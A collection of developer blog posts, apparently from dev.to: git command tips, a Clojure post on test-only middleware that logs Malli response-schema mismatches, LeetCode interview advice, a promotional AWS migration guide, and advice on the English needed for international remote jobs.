commit. 21. **`git rebase`**: Reapplies a series of commits on top of a different base commit. 22. **`git cherry-pick <commit>`**: Applies the changes made in a specific commit to the current branch. 23. **`git bisect`**: Uses binary search to find a specific commit that introduced a bug. 24. **`git tag`**: Adds a label to a specific commit in the repository, allowing you to mark a particular version. 25. **`git fetch`**: Downloads any changes from the remote repository, but does not merge them into your local repository. 26. **`git config`**: Allows you to configure Git, such as setting your username and email address. 27. **`git blame <file>`**: Shows the commit and author responsible for each line of a file. 28. **`git show <commit>`**: Shows the details of a specific commit, including the changes made and the commit message. These commands can help you to perform more advanced version control tasks with Git, such as managing conflicts, manipulating the commit history, and debugging your code. Keep in mind that some of these commands can have complex behaviors and should be used with caution. It's always a good idea to understand the implications of a command before using it in your workflow. Connect with me: [Linkedin](https://www.linkedin.com/in/noyonict/)
noyonict
1,360,366
The hard way or the easy way?
This story is about doing the wrong thing™ for selfish reasons, although there is an adequate amount...
0
2023-02-13T16:59:08
https://dev.to/crinklywrappr/the-hard-way-or-the-easy-way-1ak6
clojure, testing, webdev
This story is about doing _the wrong thing_™ for selfish reasons, although there is an adequate amount of how-to, so it qualifies as a tech article. # The background Where I last worked, the backend developers agreed that we had a problem with HTTP response schemas. We agreed that we needed them. We agreed that they were a nuisance. _Have you ever seen a Malli invalid schema report?_ ![A taste](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wfd02jvvqxn352ozwzpl.png) Nobody wanted to deal with these after each commit, so something had to be done. # Doing something! Removing the schemas was not an option because they provided too much benefit to the front-end developers. Likewise, if we stopped maintaining the HTTP response schemas, a front-end developer would eventually discover our negligence. We had to be clever. # How we did it A significant feature of [reitit](https://github.com/metosin/reitit) is that routes are composed of simple vectors and maps. That means you can pre-process that data structure however you want before building the router. That means we can jerry-rig our router to include, for instance, different middleware for use only in our tests. I warned you. 😈 We'll start by copying our response schemas to a new key-value pair called `test-schemas`. ```clojure ["my/route" {:get {:middleware [] :handler my/handler :test-schemas {200 schemas/ResponseSchema}}}] ``` `test-schemas` expresses our validation schema to the middleware. What middleware? Let's make a new middleware function in our testing layer. ```clojure (def schema-warnings "aggregates a vector of {:request ..., :explanation ...} maps" (atom [])) (defn build-test-middleware [schemas] (fn test-middleware ([handler] (test-middleware handler {})) ([handler _] (fn [request] (let [response (handler request) status (:status response) body (:body response)] (if-let [schema (get schemas status)] (if (not (malli/validate schema body)) (do (swap! schema-warnings conj {:request (:original-request request) :explanation (malli/explain schema body)}) response) response) response)))))) ``` `build-test-middleware` returns a standard ring middleware function. Whenever there is a request, it captures the response and compares it to the schema corresponding to the HTTP response status using `malli/validate`. If the response is invalid, we save it to an atom for later review. How do we wedge the testing middleware into place? ```clojure (defn test-routes [routes] (letfn [(add-test-middleware [[request-method {:keys [test-schemas] :as details}]] (if (some? test-schemas) [request-method (-> details (update :middleware (comp #(conj % (build-test-middleware test-schemas)) #(or % []))) (dissoc :test-schemas))] [request-method details]))] (mapv (fn [[url request-methods]] [url (->> request-methods (mapv add-test-middleware) (into {}))]) routes))) ``` `test-routes` modifies routes by adding the `test-middleware` when a `test-schemas` key-value pair exists i.e. ```clojure (test-routes [["my/route" {:get {:middleware [] :handler (fn [& args] {:status 200 :body {}}) :test-schemas {200 [:map [:foo number?]]}}}]]) ;; result [["my/route" {:get {:middleware [#function[my-ns/build-test-middleware/test-middleware--14034]], :handler #function[my-ns/fn--14169]}}]] ``` Let's see if it works! ```clojure ((reitit.ring/ring-handler (reitit.ring/router (test-routes [["my/route" {:get {:middleware [] :handler (fn [& args] {:status 200 :body {}}) :test-schemas {200 [:map [:foo number?]]}}}]]))) {:request-method :get :uri "my/route"}) ;; result {:status 200, :body {}} ``` We were able to make a request. However, you can see that the response body doesn't match the schema. Did we record a problem? Let's check. ```clojure @schema-warnings ;; result [{:request nil, :explanation {:schema [:map [:foo number?]], :value {}, :errors ({:path [:foo], :in [:foo], :schema [:map [:foo number?]], :value nil, :type :malli.core/missing-key, :message nil})}}] ``` There wasn't any request to save because the `original-request` key-value pair was missing from the request. Adding that is easy. ```clojure (defn run-request [router request] (router (assoc request :original-request request))) ``` Let's try again. ```clojure (run-request (reitit.ring/ring-handler (reitit.ring/router (test-routes [["my/route" {:get {:middleware [] :handler (fn [& args] {:status 200 :body {}}) :test-schemas {200 [:map [:foo number?]]}}}]]))) {:request-method :get :uri "my/route"}) ;; result {:status 200, :body {}} @schema-warnings ;; result [{:request {:request-method :get, :uri "my/route"}, :explanation {:schema [:map [:foo number?]], :value {}, :errors ({:path [:foo], :in [:foo], :schema [:map [:foo number?]], :value nil, :type :malli.core/missing-key, :message nil})}}] ``` Now we have the request paired with the invalid schema report. # Outcome Despite being thoroughly _the wrong thing to do_, this generally led to a happier backend team. But what about the front-end developers? Did they ever call out our negligence? Did it cause problems in production? Surprisingly no. We continued to handle problems with the response schema inside feature branches. Mostly. 😈
crinklywrappr
1,360,447
Cracking Your Technical Interview with LeetCode: A Step-by-Step Guide
If you're using LeetCode to prepare for a technical interview, here are some tips to make the most of...
0
2023-02-10T16:30:00
https://dev.to/kunalkumar007/cracking-your-technical-interview-with-leetcode-a-step-by-step-guide-3aj6
leetcode, develop
If you're using LeetCode to prepare for a technical interview, here are some tips to make the most of your practice: **Start with the basics**: Before jumping into more advanced problems, make sure you have a solid understanding of the fundamentals of computer science and programming, such as algorithms, data structures, and software design patterns. LeetCode offers a wide range of basic to advanced problems, so you can start with the easy and medium-level questions and gradually move on to the more challenging ones. **Practice regularly**: Consistency is key when it comes to preparing for a technical interview. Set aside some time every day to solve LeetCode problems and try to stick to this schedule as much as possible. This will help you build your skills and develop your problem-solving abilities over time. **Focus on a variety of topics**: During a technical interview, you may be asked questions on a wide range of topics, such as algorithms, data structures, databases, and system design. Make sure to practice solving questions on different topics so that you have a well-rounded understanding of the material. **Review solutions**: After you've solved a problem, take the time to review the solutions and understand the thought process behind them. This will help you learn new approaches and techniques, and give you a better understanding of the problem. **Practice under pressure**: In a real-life technical interview, you'll be under a time constraint, so it's important to practice solving problems within a specific time frame. LeetCode offers a timer feature that allows you to set a time limit for solving a problem, which can help you get used to the pressure of a real interview. **Collaborate with others**: Working with other people who are also preparing for a technical interview can be a great way to improve your skills and learn from others. You can collaborate with classmates, join study groups, or participate in online forums to discuss LeetCode problems and solutions. **Learn from your mistakes**: When you make a mistake, take the time to reflect on what went wrong and how you can improve in the future. This will help you avoid making the same mistake again and give you a deeper understanding of the material. By following these tips and using LeetCode regularly, you'll be well on your way to cracking your technical interview and landing your dream job.
kunalkumar007
1,360,644
A Guide to Cloud Migration with AWS
Cloud migration is a hot topic in the tech world right now, and for good reason. Cloud migration can...
0
2023-02-10T11:12:21
https://dev.to/neilsmith23/a-guide-to-cloud-migration-with-aws-b3e
webdev, website, cloud, computing
Cloud migration is a hot topic in the tech world right now, and for good reason. Cloud migration can help businesses increase their efficiency, reduce costs, and take advantage of the latest cloud technologies. And when it comes to cloud migration, Amazon Web Services (AWS) is the leader of the pack. In this guide, we’ll cover some of the key reasons why AWS is the best choice for cloud migration, as well as some tips and tricks for making your migration as smooth and successful as possible. So, let’s get started! ##What is Cloud Migration? Cloud migration can be defined as the process of moving an application, data, or other business element from an existing environment into a private or public cloud computing service. This can include physical hardware such as servers, storage, and databases. It’s important to note that this process doesn’t necessarily require that you move your entire IT infrastructure over to the cloud all at once; instead, it can be done incrementally in order for businesses to transition more easily. ## Why Choose AWS? When it comes to migrating your data or applications over onto a cloud platform, there are many options available. However, Amazon Web Services (AWS) remains one of the most popular choices due to its flexibility and scalability. AWS offers a wide variety of services including compute power, storage, networking, content delivery networks (CDN), and much more. Plus, with its pay-as-you-go model and free tier option for small businesses and individuals just getting started, it’s easy to see why so many people choose AWS as their go-to cloud platform. Steps Involved in Migrating Your Data or Applications Over To The Cloud With AWS **Start By Assessing Your Current Environment:** Before jumping headfirst into [**AWS Migration Services**](https://www.zehncloud.com/cloud-migration-services/), it’s important that you first assess what kind of resources are currently being used in your existing environment (e.g., servers, storage space). This will give you an idea of what needs to be moved over when making the switch so that nothing gets left behind. **Create A Migration Plan:** After assessing your current environment and deciding what needs moving over onto the cloud platform with AWS, it’s time to create a detailed plan outlining how exactly these migrations will take place (e.g., timeline for completion). This plan should also include any potential risks associated with each step of the migration process so that any obstacles can be identified ahead of time and dealt with accordingly before they become an issue later down the line. **Execute Your Migration Plan:** Now comes the fun part! Once everything has been planned out and all potential risks have been identified ahead of time, it’s time for execution! This means transferring all necessary files/data/applications from your existing infrastructure onto the new cloud platform using either direct transfer methods or automated tools like Amazon Data Migration Service or Snowball Edge devices (for larger datasets). During this step make sure everything is operating as expected before proceeding further into complete deployment/migration status on AWS. ## Conclusion Migrating data or applications from your existing infrastructure over onto a new cloud platform with **[AWS managed cloud](https://www.zehncloud.com/aws-managed-cloud-services/)** can seem daunting at first—but don’t worry! By following our comprehensive guide above carefully detailing each step involved in this process—from assessment through execution—it should be smooth sailing all throughout your journey towards gaining access to advanced computing capabilities with ease through leveraging AWS technologies.
neilsmith23
1,360,713
International Jobs: Does my English need to be perfect?
November last year I gave a talk in WordCamp São Paulo about remote work and finally the text version...
21,794
2023-02-10T12:08:16
https://felipeelia.dev/international-jobs-does-my-english-need-to-be-perfect/
career, beginners, motivation, productivity
<!-- wp:paragraph --> <p>November last year I gave a talk in WordCamp São Paulo about remote work and finally the text version is here! If you speak Portuguese, <a href="https://www.youtube.com/live/scpc5z5hGQQ?feature=share&amp;t=2987" target="_blank" rel="noreferrer noopener">the talk is available on YouTube</a>. There is also a <a href="https://felipeelia.com.br/vagas-internacionais-meu-ingles-precisa-ser-perfeito/" target="_blank" rel="noreferrer noopener">pt_BR version of this text.</a></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>That was a long talk, so I'm going to publish the text in parts. <strong>Do not forget to follow me here to get notifications about the next posts</strong>, okay?</p> <!-- /wp:paragraph --> <!-- wp:heading --> <h2 class="wp-block-heading">Does my English need to be perfect?</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>This is people's first question when we talk about working for an international company. If you think you need to speak English like a native to get a job, that is a barrier that only exists in your mind.</p> <!-- /wp:paragraph --> <!-- wp:quote --> <blockquote class="wp-block-quote"><!-- wp:paragraph --> <p><strong>Understand and be understood</strong> are the only things you really need.</p> <!-- /wp:paragraph --></blockquote> <!-- /wp:quote --> <!-- wp:paragraph --> <p>That is really it. If you can understand someone speaking in English and if people can understand you speaking English even with your accent (<strong>everybody</strong> has an accent) you are ready.</p> <!-- /wp:paragraph --> <!-- wp:heading --> <h2 class="wp-block-heading">Nothing replaces a course</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>Every once in a while we hear about some superheroes that learned how to speak English all by themselves. That is not the reality for most people though. There are at least two things you most likely have only by attending a course:</p> <!-- /wp:paragraph --> <!-- wp:list --> <ul><!-- wp:list-item --> <li><strong>Writing practice</strong> - Only by practicing you will learn some irregular verbs' past forms (<em>think &gt; thought</em>), how do you spell some words, etc.</li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><strong>Grammar</strong> - Knowing the basics will make your life easier when you don't understand a word but get the overall context.</li> <!-- /wp:list-item --></ul> <!-- /wp:list --> <!-- wp:paragraph --> <p>You don't need a 15-year course, that is not my point. You do need to be sure you have the basics of writing and grammar structures.</p> <!-- /wp:paragraph --> <!-- wp:heading --> <h2 class="wp-block-heading">Movies, TV shows, games, and code <em>lives</em></h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>I was super afraid of entering into a meeting and not understanding a word people were saying. I started watching TV shows and YouTube videos. First with English subtitles, then with no subtitles at all. This exercise helped me and it still helps me a lot.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>Code lives on Twitch also help a lot. There you will <em>hear</em> some jargons that you only <em>read</em>.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>Here are some examples that worked for me. At the time I gave the talk I was watching Andor, today I'd say <em>The Last of Us</em>.</p> <!-- /wp:paragraph --> <div class="wp-block-columns"><!-- wp:column --> <div class="wp-block-column"><!-- wp:image {"id":2833,"width":405,"height":225,"sizeSlug":"full","linkDestination":"custom"} --> <figure class="wp-block-image size-full is-resized"><a href="https://www.disneyplus.com/pt-br/series/star-wars-andor/3xsQKWG00GL5" target="_blank" rel="noreferrer noopener"><img src="https://felipeelia.com.br/wp-content/uploads/2023/02/image.png" alt="" class="wp-image-2833" width="405" height="225"/></a><figcaption class="wp-element-caption">Andor (Disney+)</figcaption></figure> <!-- /wp:image --> <!-- wp:image {"id":2836,"sizeSlug":"full","linkDestination":"custom"} --> <figure class="wp-block-image size-full"><a href="https://www.youtube.com/@gameranxTV" target="_blank" rel="noreferrer noopener"><img src="https://felipeelia.com.br/wp-content/uploads/2023/02/image-3.png" alt="" class="wp-image-2836"/></a><figcaption class="wp-element-caption">Gameranx (YouTube)</figcaption></figure> <!-- /wp:image --></div> <!-- /wp:column --> <!-- wp:column --> <div class="wp-block-column"><!-- wp:image {"id":2835,"width":405,"height":225,"sizeSlug":"full","linkDestination":"custom"} --> <figure class="wp-block-image size-full is-resized"><a href="https://www.youtube.com/@SirZanny" target="_blank" rel="noreferrer noopener"><img src="https://felipeelia.com.br/wp-content/uploads/2023/02/image-2.png" alt="" class="wp-image-2835" width="405" height="225"/></a><figcaption class="wp-element-caption">Zanny (YouTube)</figcaption></figure> <!-- /wp:image --> <!-- wp:image {"id":2837,"sizeSlug":"full","linkDestination":"custom"} --> <figure class="wp-block-image size-full"><a href="https://www.twitch.tv/ryanwelchercodes" target="_blank" rel="noreferrer noopener"><img src="https://felipeelia.com.br/wp-content/uploads/2023/02/image-4.png" alt="" class="wp-image-2837"/></a><figcaption class="wp-element-caption">RyanWelcherCodes (Twitch)</figcaption></figure> <!-- /wp:image --></div></div> <!-- wp:heading --> <h2 class="wp-block-heading"><strong>Real life</strong></h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>Courses, YouTube videos, TV shows... none of that really prepares you for real life. In real life you will need to deal with:</p> <!-- /wp:paragraph --> <!-- wp:list --> <ul><!-- wp:list-item --> <li><strong>Acronyms and expressions</strong> - These folks really love acronyms. <em>EOD</em>, <em>ASAP</em>, and AFAIK are some of them but you will see a lot of new ones when you start. Expressions like <em>Ballpark estimates</em> are also part of this item.</li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><strong>Broken audio</strong> - In a movie everybody hears each other without any noise. In real life the video freezes, the audio breaks up, and more. Expressions like <em>Do you mind saying that again?</em> or <em>You broke up a bit</em> I only heard after attending meetings.</li> <!-- /wp:list-item --> <!-- wp:list-item --> <li><strong>Accents</strong> - I am lucky to be part of a very plural team. We have American, German, Indian, Hungarian, Mexican, and more. Sometimes it is hard to get one or two explanations but instead of faking you understood, it is better to say <em>I’m not sure I follow…</em> and ask them to explain it in a different way. This happens more than people imagine.</li> <!-- /wp:list-item --></ul> <!-- /wp:list --> <!-- wp:paragraph --> <p>I don't know how courses outside Brazil work but here we learn something like <em>How are you? I'm fine, thanks, and you?</em> In real life, no one really uses that. Pay attention to others and adapt.</p> <!-- /wp:paragraph --> <!-- wp:heading --> <h2 class="wp-block-heading">When I joined the company, I almost gave up!</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>I've been part of 10up for 3 years now but I almost quit in my first weeks. We have a daily standup and it was nearly impossible for me to understand one of my colleagues.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>I brought that to my leadership team and they told me it was normal and that I would get used to it. I really got used to it after a while.</p> <!-- /wp:paragraph --> <!-- wp:quote --> <blockquote class="wp-block-quote"><!-- wp:paragraph --> <p>It can be hard in the beginning. <strong>Do not give up!</strong></p> <!-- /wp:paragraph --></blockquote> <!-- /wp:quote --> <!-- wp:paragraph --> <p>Here is a tip: <strong>always be frank, and never pretend you understood</strong>. Companies really value people who know how to communicate well and (as weird as it may sound) part of good communication is saying when something needs to be explained in a different way.</p> <!-- /wp:paragraph --> <!-- wp:heading --> <h2 class="wp-block-heading">Tools</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>In addition to Google Translate, there are at least two tools that help me a lot on a daily bases and I think it is worth sharing with you:</p> <!-- /wp:paragraph --> <!-- wp:media-text {"mediaId":2838,"mediaLink":"https://felipeelia.com.br/?attachment_id=2838","mediaType":"image","imageFill":false} --> <div class="wp-block-media-text alignwide is-stacked-on-mobile"><figure class="wp-block-media-text__media"><img src="https://felipeelia.com.br/wp-content/uploads/2023/02/image-5.png" alt="" class="wp-image-2838 size-full"/></figure><div class="wp-block-media-text__content"><!-- wp:paragraph {"placeholder":"Conteúdo..."} --> <p><strong>Grammarly</strong></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>Grammarly is a service that helps while writing in English. I use it as a browser extension and it helps me with things like the image.</p> <!-- /wp:paragraph --></div></div> <!-- /wp:media-text --> <!-- wp:spacer {"height":"50px"} --> <div style="height:50px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:media-text {"mediaId":2839,"mediaLink":"https://felipeelia.com.br/?attachment_id=2839","mediaType":"image"} --> <div class="wp-block-media-text alignwide is-stacked-on-mobile"><figure class="wp-block-media-text__media"><img src="https://felipeelia.com.br/wp-content/uploads/2023/02/image-6.png" alt="" class="wp-image-2839 size-full"/></figure><div class="wp-block-media-text__content"><!-- wp:paragraph {"placeholder":"Conteúdo..."} --> <p><strong>Google “define:ACRONYM”</strong></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>As I said, acronyms are very common in English. When I see a new one that I don't know yet, I search for <code>define:ACRONYM</code> in Google and usually, the first result is already enough.</p> <!-- /wp:paragraph --></div></div> <!-- /wp:media-text --> <!-- wp:heading --> <h2 class="wp-block-heading">Conclusion</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>In this first post of the series, we saw that <strong>understanding and being understood</strong> is the level of English you need to have to try an international job.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><strong>Practice in writing and grammar knowledge is essential</strong>, so a course is recommended. It doesn't need to be a 10 years course, but a structured study with a few months at least.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><strong>Watching something you like</strong> as YouTube videos, TV shows, and movies help a lot but with subtitles in English or no subtitle at all. Code lives are also interesting.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p><strong>Nothing replaces real-life experience.</strong> Expressions and trivial problems are not represented in movies and series, so be prepared to learn a lot at the beginning.</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>I also told a little about my bumpy start and how I almost quit in the first weeks. <strong>It is important to persist, it is worth it!</strong></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>Lastly, we saw some <strong>tools</strong> you will want to keep near you when communicating in a different language.</p> <!-- /wp:paragraph --> <!-- wp:separator --> <hr class="wp-block-separator has-alpha-channel-opacity"/> <!-- /wp:separator --> <!-- wp:paragraph --> <p>This was just the first part! <strong>Follow me here and on social networks</strong> to be updated about part 2.</p> <!-- /wp:paragraph --> -
felipeelia
1,360,752
Migrating Password Managers ?
Recently, LastPass, my favourite password manager until then, reported a leak. It got me thinking. Do...
0
2023-05-24T23:30:27
https://blog.mandraketech.in/migrating-password-managers
--- title: Migrating Password Managers ? published: true date: 2023-02-10 10:47:38 UTC tags: canonical_url: https://blog.mandraketech.in/migrating-password-managers --- Recently, LastPass, my favourite password manager until then, reported a leak. It got me thinking. Do I need another "paid" service, or have the "other" providers caught up? So, I went down the track of evaluating Bitwarden and iCloud. Between these two services, I have all my family members covered. It was not a "simple" decision. Because everyone's use case is different. The younger members of the family are on Windows (and iPhone, of course), while I am on the Apple ecosystem. The Spouse uses only the phone, so does not care. I have a lot of Credit cards and other "secure" information that I keep in my notes. The others do not need that, yet. I tried using Bitwarden and realised that the integration with the Apple ecosystem, especially the Card filling and the TOTP handling, are not so good. So, leaving the rest of the family to use Bitwarden, I started my journey of migrating to iCloud. That is when I realised, that no tool gives a "complete" migration. Being the engineer that I am, I created a tool for exporting a **#Bitwarden** exported JSON to **#iCloud** **#Keychain** importable CSV(for password), and Apple Notes importable txt files (For notes). You can access that at: [https://gitlab.com/mandraketech/bitwarden-to-icloud](https://gitlab.com/mandraketech/bitwarden-to-icloud) This one uses Python. Will do a blog post with my learnings soon.
mandraketech
1,360,900
How to Support Environment Variables - Node Application - Elasticbeanstalk
Problem statement You have a node application that needs to support variances in...
0
2023-02-10T14:55:25
https://dev.to/sanchezg7/how-to-support-environment-variables-node-application-elasticbeanstalk-hfn
node, aws, cloud, javascript
## Problem statement You have a node application that needs to support variances in environment variables; however, this application is hosted in Elasticbeanstalk. This post will show how to enable environment variable support for your node application. ## Why Environment variables allows flexibility to your code without having to have hard code values that could change for various reasons: - You don’t control the values - Third party integrations - The value varies based on the environment - DEV, UAT, STAGING, PROD, etc - The values can determine some conditional execution path - Disable emails - Control logging patterns - Feature toggles ## How We need a file to standardize environment variable support in the application. Create a file named `env.js`. It will export an object containing everything in `process.env` in addition to a specific `PORT` variable. ```bash import dotenv from "dotenv"; // injects values from the .env file into process.env dotenv.config(); const PORT = process.env.PORT || 8080; const resolved = { ...process.env, PORT }; export default resolved; ``` Assume we have a basic node express application. For ease of debugging, add a basic route displaying some environment variable `MY_ENV_VALUE`. It will return a specific environment variable. ```javascript import express from "express"; import env from "./env.js"; const app = express() app.get('/', (req, res) => { res.send('Hello World!') }) app.get("/env", (req, res) => { const { MY_ENV_VALUE } = env; res.status(200).json({ MY_ENV_VALUE }); }); const port = 8080; app.listen(port, () => { console.log("Running on Port: " + port); }); ``` Running the application in Elasticbeanstalk and sending a request to `GET /env` will show the environment variable as undefined. Let’s define it in Elasticbeankstalk. - Go to Configuration ![Configuration Menu](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w257zzndojwse14k3rjd.png) - Find the `Software` section. Select `Edit` ![Software-Edit Option](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8zknlgyjo5yqp5iozxdc.png) - Set the environment key and value. Select `Apply` . ![Set environment key and value](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lswy0wficntfgm675ujh.png) - Wait for environment to reload with the new environment properties we specified. The environment property will be added to `process.env` and by design, will be exposed in the `env` module we exported earlier. ![EB Environment Relaunching](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/l075yugrqbskb9olxh4z.png) --- Once the environment is done refreshing, launch it in the browser. GET /env shows: ![GET /env browser request](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x40itxtftp8ihyu5cwr3.png) ## Conclusion Supporting environment variables in your application will allow for scalable applications that do not need changes to support variances in your environments. If you need to support secret environment variables I recommend using AWS KMS https://aws.amazon.com/kms/, this service will encrypt your keys at rest and give you more granular access control of the values.
sanchezg7
1,360,935
Download Chat GPT App now from google play store. Link in the description. Check it now.
Say hello to GPT - your very own personal assistant on the go! GPT AI Bot, a mobile app makes it...
0
2023-02-10T16:05:58
https://dev.to/abhinav0334/download-gpt-app-now-from-google-play-store-httpsplaygooglecomstoreappsdetailsidcomwinggsgptaibot-31fm
ai, chatgpt, gpt3
Say hello to GPT - your very own personal assistant on the go! GPT AI Bot, a mobile app makes it easier than ever to keep up with all of your personal goals, whatever they may be. Ask anything you want from writing code to encouraging insights and expert advice - GPT has it all. Make 2023 the year of achieving your ambitions with GPT - now available on the Google Play. Download Now: https://play.google.com/store/apps/details?id=com.winggs.gpt_ai_bot
abhinav0334
1,360,940
Start Menu: Windows Clone
Here I have made a clone of windows start Menu. The Elements are created from an javascript object. ...
0
2023-02-10T16:09:23
https://dev.to/shreyaanp/start-menu-windows-clone-5792
codepen, javascript, opensource, windows11
<p>Here I have made a clone of windows start Menu. The Elements are created from an javascript object.</p> <p> This is how I did it :<br> I defined a class with the constructors, having all the parameters required to create the elements. <pre> class FileMetadata { constructor(name, size, type, creationDate) { this.name = name; this.size = size; this.type = type; this.creationDate = creationDate; } } </pre> I created an array to store the data. <pre> let fileMetadataArray = []; </pre> Then using the push option added the values. <pre> fileMetadataArray.push(new FileMetadata("My Computer", 1024, "https://cdn-icons-png.flaticon.com/512/2933/2933245.png", new Date())); </pre> Now I created a grid container, having 3 rows and 6 columns. Now this is the parent element. Using the function _.createElement_ .<br> I then proceeded to create div and defined the style of those elements in for loop <pre> for (let i = 0; i < 3; i++) { let row = document.createElement("div"); row.classList.add("row"); row.style.display = "flex"; for (let j = 0; j < 6; j++) { let dataa = fileMetadataArray[countt]; let namee = fileMetadataArray[countt].name; let imgg = fileMetadataArray[countt].type; countt++; let column = document.createElement("div"); column.style.flex = "1 1 16.666667%"; column.style.alignItems = "center"; column.style.justifyContent = "center"; column.classList.add("columnn"); row.appendChild(column); let img = document.createElement("img"); img.src = imgg; img.style.width = "45px"; img.style.height = "45px"; img.classList.add("imggg"); column.appendChild(img); let name = document.createElement("p"); name.innerHTML = namee; name.style.textAlign = "center"; name.style.fontSize = "12px"; name.style.color = "white"; column.appendChild(name); } gridContainer.appendChild(row); } </pre> </p> <p> Finally adding the finishing touch with some CSS the component is made. </p> {% codepen https://codepen.io/shreyaanp/pen/qByzvwQ %}
shreyaanp
1,361,047
Greatest Common Divisor of Strings
Sergei Golitsyn provides solutions to popular leetcode problems. Aloha guys today we have a...
0
2023-02-10T17:58:29
https://dev.to/golitsynsergei/greatest-common-divisor-of-strings-25e7
java, leetcode, tutorial, programming
Sergei Golitsyn provides solutions to popular leetcode problems. ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6hus4embf64t5thul3f6.jpg) Aloha guys today we have a popular GDS problem: ## Description For two strings s and t, we say "t divides s" if and only if s = t + ... + t (i.e., t is concatenated with itself one or more times). Given two strings str1 and str2, return the largest string x such that x divides both str1 and str2. Example 1: Input: str1 = "ABCABC", str2 = "ABC" Output: "ABC" Example 2: Input: str1 = "ABABAB", str2 = "ABAB" Output: "AB" Example 3: Input: str1 = "LEET", str2 = "CODE" Output: "" ## Solution To solve it we need to understand, what we want to find. We need to find greatest common part of two words, and this part should divide word on 1-N the same paths. For example: `a = ABCABC` and `b = ABC` can be divided on `a = ABC ABC` and `b = ABC` In the next example `a = ABABAB` and `b = ABAB` we cannot divide a on b because `a = ABAB AB` and `ABAB != AB`. That is why we should reduce divider. We can do it iteratively, but what if we start with the rest of the longest string? `a = ABABAB` after divide a has two parts common `ABAB` and rest `AB`. Let's try to use rest. Now let's try to divide longest string on short one, `a = AB` and `b = ABAB`. b will be `AB AB`. Hm, obviously that `AB` is greatest common divisor. But how can we understand it? We need to dive bit deeper and again use rest of division. `a = ""` and `b = AB`. If one of the strings is empty, another one will be our result. Wisdom, right? ## Code ``` public String gcdOfStrings2(String str1, String str2) { int l1 = str1.length(); int l2 = str2.length(); // Swap the parameters when needed if (l1 < l2){ return gcdOfStrings(str2, str1); } // Since we swap if (l2 == 0){ return str1; } // Check if str1 starts with str2 if (!str1.startsWith(str2)) { return ""; } return gcdOfStrings(str1.substring(l2), str2); } ```
golitsynsergei
1,361,227
Smilling Moon
A post by Gilmara Barros
0
2023-02-10T20:03:25
https://dev.to/gilmarabarros/smilling-moon-4b30
codepen, css, html, beginners
{% codepen https://codepen.io/Marabc97/pen/jOEdVNd %}
gilmarabarros
1,361,426
Equals method for data class in Kotlin
Kotlin data class have many advantages, one of which is automatically generating the equals() method....
0
2023-03-21T04:08:17
https://dev.to/tommykw/equals-method-for-data-class-in-kotlin-36n4
kotlin
Kotlin [data class](https://kotlinlang.org/docs/data-classes.html) have many advantages, one of which is automatically generating the `equals()` method. `equals()` is useful for comparing the equivalence of objects. For example, it is useful for checking the difference between before and after input in an input form. Let's take a look at the example code. ## Example code If the following User data class is used, the content of the user class can be compared for equality using `==`. By the way, `==` is a syntax sugar for `equals()`. ```kotlin data class User( val name: String, val country: String, ) val user1 = User( name = "tommykw", country = "JP", ) val user2 = User( name = "tommykw2", country = "JP", ) val user3 = User( name = "tommykw", country = "JP", ) user1 == user2 // false user1 == user3 // true ``` ## Nested code Furthermore, let's add `val location: Location` to the User data class. As you can see, you can use `==` to confirm whether they have the same content. This is very convenient because `equals()` is automatically implemented. ```kotlin data class User( val name: String, val country: String, val location: Location, ) data class Location( val latitude: Double, val longitude: Double, ) val user1 = User( name = "tommykw", country = "JP", location = Location( latitude = 1.0, longitude = 1.0, ), ) val user2 = User( name = "tommykw", country = "JP", location = Location( latitude = 1.0, longitude = 1.0, ), ) val user3 = User( name = "tommykw", country = "JP", location = Location( latitude = 1.1, longitude = 1.1, ), ) user1 == user2 // true user1 == user3 // false ``` ## Generated code The data class's `equals()` is very convenient. Let's take a look at the auto-generated `equals()` by decompiling the above code. In `User.equals()`, you can see that `name`, `country`, and `location` are compared by `Intrinsics.areEqual()`. ```java public static final class User { public boolean equals(@Nullable Object var1) { if (this != var1) { if (var1 instanceof User) { User var2 = (User)var1; if (Intrinsics.areEqual(this.name, var2.name) && Intrinsics.areEqual(this.country, var2.country) && Intrinsics.areEqual(this.location, var2.location)) { return true; } } return false; } else { return true; } } } ``` If you look further at the implementation of `Intrinsics.areEqual()`, comparing whether both are null or have the same value. ```java public class Intrinsics { public static boolean areEqual(Object first, Object second) { return first == null ? second == null : first.equals(second); } } ``` In the case of `location.equals()`, you can see that `Location.equlas()` is called to compare the `latitude` and `longitude`. `Double.compare` compares the two specified double values. ```java public static final class Location { public boolean equals(@Nullable Object var1) { if (this != var1) { if (var1 instanceof Location) { Location var2 = (Location)var1; if (Double.compare(this.latitude, var2.latitude) == 0 && Double.compare(this.longitude, var2.longitude) == 0) { return true; } } return false; } else { return true; } } } ``` ## Conclusion This article explained that data class automatically generate `equals()` method, making comparison of data class extremely easy.
tommykw
1,364,419
Octopress Plugins: s3_website
Originally posted on joev.me @ 2013-11-25 I’m hosted on S3 thanks to this blog post by Robert...
0
2023-02-13T21:38:44
